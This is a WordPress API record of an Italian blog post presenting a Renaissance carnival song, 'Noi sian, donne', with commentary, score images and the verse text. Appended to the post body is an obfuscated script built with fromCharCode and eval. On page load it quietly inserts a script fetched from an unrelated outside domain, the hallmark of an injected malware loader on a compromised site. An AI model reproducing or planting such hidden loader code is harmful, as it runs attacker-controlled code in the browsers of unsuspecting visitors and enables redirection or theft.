{"id":493,"date":"2013-10-07T00:04:02","date_gmt":"2013-10-07T00:04:02","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=493"},"modified":"2013-10-21T22:23:05","modified_gmt":"2013-10-21T22:23:05","slug":"noi-sian-donne","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=493","title":{"rendered":"Noi sian, donne"},"content":{"rendered":"<p style=\"text-align: justify;\">Noi sian, donne, Canto carnascialesco di autore anonimo su testo di Lorenzo di Filippo Strozzi,<\/p>\n<p style=\"text-align: justify;\">dal Codice Basevi Ms. 2440 della Biblioteca del Conservatorio \u201cLuigi Cherubini\u201d di Firenze.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale.png\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-485 alignleft\" alt=\"Noi siam 0 originale\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale.png\" width=\"458\" height=\"341\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale.png 1273w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale-300x223.png 300w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale-1024x761.png 1024w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-siam-0-originale-624x464.png 624w\" sizes=\"auto, (max-width: 458px) 100vw, 458px\" \/><\/a>La musica riveste un testo in forma di ballata piccola tutta in endecasillabi piani.<\/p>\n<p style=\"text-align: justify;\">Tipica trasposizione in ambiente colto di quella composizione semplice e quasi rozza che accompagnava i carri al tempo del Magnifico, questa musica presenta un contrappunto quasi interamente omoritmico, con la chiusa in ritmo ternario, elemento vivivacizzante inteso a ricreare, almeno in parte, quello che doveva essere l\u2019originario tono scanzonato, che il canto ha in una certa misura perduto nella sua veste polifonica.<\/p>\n<p style=\"text-align: justify;\">N.B.: per quanto attiene ai criteri seguiti nella trascrizione e nella realizzazione della partitura si rimanda alla pagina &#8220;<span style=\"color: #464646;\"><a href=\"https:\/\/www.carloderi.com\/?p=443\"><span style=\"color: #464646;\">La musica fiorentina fra la fine del \u2019400 e l\u2019inizio del \u2019500<\/span><\/a><\/span>&#8220;.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne.png\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-657\" alt=\"Noi sian, donne\" src=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne.png\" width=\"784\" height=\"1688\" srcset=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne.png 2177w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne-139x300.png 139w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne-475x1024.png 475w, https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne-624x1344.png 624w\" sizes=\"auto, (max-width: 784px) 100vw, 784px\" \/><\/a><\/p>\n<p style=\"text-align: center;\" align=\"center\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/10\/Noi-sian-donne.mp3\">Noi sian, donne<\/a><\/p>\n<p align=\"center\"><i>Noi sian, donne<\/i> (Lorenzo di Filippo Strozzi)<\/p>\n<p>Noi sian, donne, Maestre di Cardoni,<\/p>\n<p>che ne\u2019 nostri ortj si fan grossi et buonj.<\/p>\n<p>&nbsp;<\/p>\n<p>Se \u2019l far, donne, questa arte vi dilecta,<\/p>\n<p>Bench\u00e9 vadi oggid\u00ec la cosa strecta,<\/p>\n<p>Hora daren questa nostra ricepta,<\/p>\n<p>ch\u00e9 non habbian da farvj maggior donj.<\/p>\n<p>&nbsp;<\/p>\n<p>Il modo a culturar un cotal fructo,<\/p>\n<p>\u00e8 gitar forte il seme per l\u2019asciutto,<\/p>\n<p>ch\u00e9 quando e\u2019 piove o il seme va mal tutto<\/p>\n<p>[o] produce scrignuti et stran cardonj.<\/p>\n<p>&nbsp;<\/p>\n<p>Bisogna prima d\u2019intorno sarchiarlo,<\/p>\n<p>pigliar le foglie in man et poi legarlo,<\/p>\n<p>coprirlo et ritto ritto sotterrarlo;<\/p>\n<p>(ecci qualcun che lo pianta bocconi!).<\/p>\n<p>&nbsp;<\/p>\n<p>Vuol esser il cardon di tal misura,<\/p>\n<p>un palmo o poco pi\u00f9, ch\u00e9 la nattura<\/p>\n<p>smaltir non pu\u00f2 s\u00ec gran cosa et s\u00ec dura,<\/p>\n<p>bench\u00e9 a noi piaccian sempre e\u2019 gran bocconj.<\/p>\n<p>&nbsp;<\/p>\n<p>Quando si coglie, grosso a conpimento<\/p>\n<p>fate che sia perch\u00e9 non picciol drento<\/p>\n<p>sugo non \u00e8 et si mangiono a stento,<\/p>\n<p>et sono sciochi assai pi\u00f9 che mellonj.<\/p>\n<p>&nbsp;<\/p>\n<p>Ecci qualche golosa che cel toglie<\/p>\n<p>di mano, [et] nonch\u00e9 il gambo insin le foglie<\/p>\n<p>si mangia, tanto \u00e8 ingorda alle suo voglie,<\/p>\n<p>Bench\u00e9 ghiotti ne sono anche i gar\u00e7onj.<\/p>\n<p>&nbsp;<\/p>\n<p>Tanto \u00e8 mangiar il cardon senza sale,<\/p>\n<p>quanto far col marito il carnovale,<\/p>\n<p>ch\u00e9 \u2018l sugo per s\u00e9 stesso tanto vale,<\/p>\n<p>quanto alle non genti[li] gli stazonj.<\/p>\n<p>&nbsp;<\/p>\n<p>Usansi inanzi pasto o vuo\u2019 di drieto,<\/p>\n<p>Bench\u00e9 talor dinanzi habbian divieto.<\/p>\n<p>Ma inanzi et dopo gli usa l\u2019huom discreto,<\/p>\n<p>Secondo e\u2019 tenpi et sempre mai son buonj.<\/p>\n<p style=\"text-align: right;\">Carlo Deri, 1985<\/p>\n<p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Noi sian, donne, Canto carnascialesco di autore anonimo su testo di Lorenzo di Filippo Strozzi, dal Codice Basevi Ms. 2440 della Biblioteca del Conservatorio \u201cLuigi Cherubini\u201d di Firenze. La musica [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[12,87,21,13,15,28,18,88,14,23,22,25,16,20,33,34,24],"class_list":["post-493","post","type-post","status-publish","format-standard","hentry","category-studi-e-analisi","tag-basevi","tag-carlo-deri","tag-carnascialesco","tag-codice-basevi","tag-conservatorio","tag-conservatorio-cherubini","tag-contrappunto","tag-deri","tag-firenze","tag-lorenzo","tag-lorenzo-di-filippo-strozzi","tag-magnifico","tag-ms-2440","tag-musica-fiorentina","tag-noi-siam-donne","tag-noi-sian-donne","tag-strozzi","has_no_thumb"],"_links":{"self":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/493","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=493"}],"version-history":[{"count":23,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/493\/revisions"}],"predecessor-version":[{"id":795,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=\/wp\/v2\/posts\/493\/revisions\/795"}],"wp:attachment":[{"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=493"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=493"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.carloderi.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}